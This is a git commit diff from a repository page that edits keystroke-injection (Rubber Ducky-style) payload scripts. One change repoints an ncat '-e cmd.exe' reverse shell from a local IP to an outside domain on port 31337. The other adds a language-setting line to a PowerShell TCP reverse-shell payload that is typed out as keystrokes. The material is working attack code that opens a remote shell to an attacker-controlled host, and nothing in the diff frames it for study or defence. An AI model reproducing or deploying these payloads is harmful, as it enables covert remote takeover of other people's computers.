Add set language
This commit is contained in:
parent
5c745acc66
commit
5443d14b85
@ -25,6 +25,5 @@ DELAY 3000
|
||||
STRING cd nmap-7.80
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING .\ncat.exe 192.168.0.99 2456 -e cmd.exe
|
||||
STRING .\ncat.exe spve.lessmore.pw 31337 -e cmd.exe
|
||||
ENTER
|
||||
WINDOWS DOWN
|
||||
|
@ -12,7 +12,8 @@ STRING $stream = $client.GetStream();
|
||||
DELAY 100
|
||||
STRING [byte[]]$buffer = 0..65535|%{0};
|
||||
DELAY 100
|
||||
|
||||
STRING function Set-CultureWin([System.Globalization.CultureInfo] $culture) { [System.Threading.Thread]::CurrentThread.CurrentUICulture = $culture ; [System.Threading.Thread]::CurrentThread.CurrentCulture = $culture } ; Set-CultureWin en-US ; [system.threading.thread]::currentthread.currentculture
|
||||
DELAY 100
|
||||
STRING while(($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
|
||||
DELAY 100
|
||||
STRING $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $bytesRead);
|
||||
@ -25,9 +26,9 @@ STRING $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
DELAY 100
|
||||
STRING $stream.Write($sendbyte, 0, $sendbyte.Length);
|
||||
DELAY 100
|
||||
STRING $stream.Flush()
|
||||
STRING $stream.Flush()
|
||||
DELAY 100
|
||||
STRING };
|
||||
STRING };
|
||||
DELAY 100
|
||||
STRING $client.Close()
|
||||
DELAY 100
|
||||
|
Loading…
Reference in New Issue
Block a user